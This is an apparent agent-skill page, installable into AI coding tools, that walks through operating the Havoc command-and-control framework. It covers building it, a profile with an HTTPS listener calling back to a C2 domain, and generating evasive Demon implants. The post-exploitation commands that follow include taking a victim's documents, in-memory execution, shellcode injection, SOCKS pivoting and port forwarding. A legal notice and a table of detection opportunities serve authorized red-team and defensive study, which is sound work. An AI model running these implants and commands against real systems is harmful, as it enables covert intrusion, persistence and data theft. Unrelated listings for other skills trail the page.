external/anthropic-cybersecurity-skills/skills/operating-havoc-c2/SKILL.md
Deploy a Havoc team server with Yaotl profiles, generate evasive Demon agents with indirect syscalls and sleep obfuscation, and run post-exploitation and pivoting for adversary emulation.
npx skillsauth add seikaikyo/dash-skills operating-havoc-c2Install this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
Legal Notice: This skill is for authorized security testing, sanctioned red-team engagements, and education only. Deploying a C2 framework or its agents against systems you do not own or lack explicit written authorization to test is illegal. Operate strictly within a signed rules-of-engagement document.
Havoc is an open-source, modern command-and-control framework created by @C5pider (https://github.com/HavocFramework/Havoc). Its primary implant, the Demon, is written in C and assembly and was designed from the ground up for evasion: it supports indirect syscalls (Hell's Gate / Halo's Gate), return-address and stack spoofing, and sleep obfuscation techniques (Ekko / FOLIAGE) that encrypt the agent in memory while it sleeps. The team server is the backend that starts listeners, queues tasks, manages agent check-ins, and brokers operator connections over an encrypted WebSocket. Operators connect with the Havoc client, a Qt GUI.
Havoc's behavior is driven by a Yaotl profile — a configuration language forked from HashiCorp's HCL — which defines the team server, operators, listeners, and Demon defaults. Because Havoc has been observed in real intrusions and is favored for its evasion features, exercising it during authorized engagements is valuable for emulating advanced adversary tradecraft and for testing whether EDR and network sensors detect its HTTP(S) C2 and in-memory techniques. This skill covers building Havoc, writing a profile, launching the team server, generating Demon agents, and running post-exploitation and lateral movement.
Install dependencies and build from source:
# Clone the framework
git clone https://github.com/HavocFramework/Havoc.git
cd Havoc
# Debian/Ubuntu/Kali build dependencies
sudo apt update && sudo apt install -y \
git build-essential cmake libfontconfig1 libglu1-mesa-dev libgtest-dev \
libspdlog-dev libboost-all-dev libncurses5-dev libgdbm-dev libssl-dev \
libreadline-dev libffi-dev libsqlite3-dev libbz2-dev qtbase5-dev qtchooser \
qt5-qmake qtbase5-dev-tools libqt5websockets5 libqt5websockets5-dev \
qtdeclarative5-dev golang-go python3.10 python3.10-dev mingw-w64 nasm
# Build the team server
make ts-build
# Build the client
make client-build
| ID | Technique | Use in this skill | |----|-----------|-------------------| | T1071.001 | Application Layer Protocol: Web Protocols | The Demon's HTTP(S) listener carries C2 over web protocols to blend with normal traffic |
Related techniques exercised by the workflow:
| ID | Technique | |----|-----------| | T1027.007 | Obfuscated Files or Information: Dynamic API Resolution (indirect syscalls) | | T1620 | Reflective Code Loading (in-memory .NET / BOF) | | T1055 | Process Injection | | T1090.001 | Internal Proxy (SOCKS pivot) |
Create profiles/engagement.yaotl defining the team server, an operator, and an HTTP listener. Yaotl is HCL-style:
Teamserver {
Host = "0.0.0.0"
Port = 40056
Build {
Compiler64 = "/usr/bin/x86_64-w64-mingw32-gcc"
Nasm = "/usr/bin/nasm"
}
}
Operators {
user "operator1" {
Password = "ChangeMe_Str0ng!"
}
}
Listeners {
Http {
Name = "https-listener"
Hosts = ["c2.example.com"]
HostBind = "0.0.0.0"
PortBind = 443
PortConn = 443
Secure = true # HTTPS
}
}
Demon {
Sleep = 30
Jitter = 25
TrustXForwardedFor = false
Injection {
Spawn64 = "C:\\Windows\\System32\\notepad.exe"
Spawn32 = "C:\\Windows\\SysWOW64\\notepad.exe"
}
}
Run the team server with your profile (privileged ports may require sudo):
# Verbose run with a custom profile
./havoc server --profile profiles/engagement.yaotl -v
# Add debug logging
./havoc server --profile profiles/engagement.yaotl --verbose --debug
Launch the Qt client and connect to the team server using the operator credentials from the profile:
./havoc client
In the connect dialog: enter the team server host, port 40056, operator name operator1, and the profile password. The Demon panel and listener views appear once connected.
The HTTP listener defined in the profile loads automatically. To add another at runtime use Listeners → Add in the GUI and configure: Name, Hosts (callback domains/IPs), HostBind, PortBind, PortConn, and whether it is Secure (HTTPS).
In the GUI go to Attack → Payload and configure the Demon build:
https-listenerx64Windows Exe, Windows Dll, or Windows Shellcode30 seconds with jitterEkko (encrypts agent memory during sleep)Click Generate to produce the payload. Deliver it to the target through your authorized initial-access method.
When a Demon checks in it appears in the session table. Right-click → Interact (or double-click) to open the console. Core post-exploitation commands:
# Situational awareness
whoami
pwd
ls
ps
ipconfig
net localgroup administrators
# Token / privilege
getprivs
token list
# File operations
download C:\Users\victim\Documents\secrets.docx
upload /opt/tools/tool.exe C:\Windows\Temp\tool.exe
The Demon supports in-memory execution of .NET assemblies and Beacon Object Files, avoiding disk writes:
# Execute a .NET assembly in-memory (e.g., Seatbelt, Rubeus)
dotnet inline-execute /opt/tools/Seatbelt.exe -group=system
# Run a Beacon Object File
inline-execute /opt/bofs/whoami.o
# Inject shellcode into a spawned/target process
shellcode inject x64 PID /tmp/payload.bin
# Run an assembly under a sacrificial process per profile Injection settings
proc create C:\Windows\System32\notepad.exe
# Start a SOCKS5 proxy through the Demon for proxychains tooling
socks add 1080
# Port forward (reverse) to reach an internal service
rportfwd add 8443 10.0.5.20 443
# Remove uploaded artifacts and exit the agent cleanly
rm C:\Windows\Temp\tool.exe
exit
Stop the team server (Ctrl-C) and revoke operator credentials at engagement end.
| Resource | Purpose | Link | |----------|---------|------| | Havoc Framework | Source and releases | https://github.com/HavocFramework/Havoc | | Havoc Documentation | Official docs (teamserver, profiles, agent) | https://havocframework.com/docs | | Havoc Profiles | Sample Yaotl profiles | https://github.com/HavocFramework/Havoc/tree/main/profiles | | MITRE ATT&CK T1071.001 | Web Protocols | https://attack.mitre.org/techniques/T1071/001/ |
| Demon feature | Purpose | Defender detection opportunity | |---------------|---------|--------------------------------| | Indirect syscalls (Hell's/Halo's Gate) | Bypass user-mode API hooks | Kernel ETW (Threat-Intelligence provider), call-stack anomalies | | Sleep obfuscation (Ekko) | Encrypt agent in memory while sleeping | Memory scanning between sleeps, timer-queue/ROP artifacts | | Stack spoofing | Hide implant in call stacks | Unbacked-memory thread start, spoofed-frame heuristics | | HTTP(S) C2 | Blend with web traffic | Beaconing periodicity, JA3/TLS fingerprint, malleable headers |
Sleep and Jitter high to reduce beacon regularity.dotnet inline-execute / BOFs over spawning child processes.development
拋棄式 HTML mockup 比稿:產出 2 到 3 個設計立場不同的變體(密度 / 版式 / 強調軸,不是換色),各附取捨說明,最後給有立場的對比結論。適用:「畫個草圖」「比較 A 版 B 版」「先看方向再做」「給我看幾種做法」。要 production 元件或設計已定案時不適用。
tools
需求不明時的意圖萃取訪談:一次一題、每題附上自己的猜測、聽出「真正想要 vs 覺得應該要」,直到能預測使用者反應(約 95% 信心)才動工。適用:需求缺少對象 / 動機 / 成功標準 / 約束,或使用者點名「訪談我」「先確認一下」「我們確定嗎」。明確自足的指示、純資訊查詢、機械性操作不適用。
development
對非平凡決策啟動新鮮 context 對抗審查(找碴不背書),在修正還便宜的時候抓出錯誤方向。適用:高風險改動(production、資安敏感邏輯、不可逆操作)、不熟的程式碼、要宣稱「這樣是安全的 / 可行的」之前。機械性操作與一行修改不適用。
testing
Reference for writing and editing agent skills well — the vocabulary and principles that make a skill predictable. Consult when authoring, reviewing, or pruning a SKILL.md.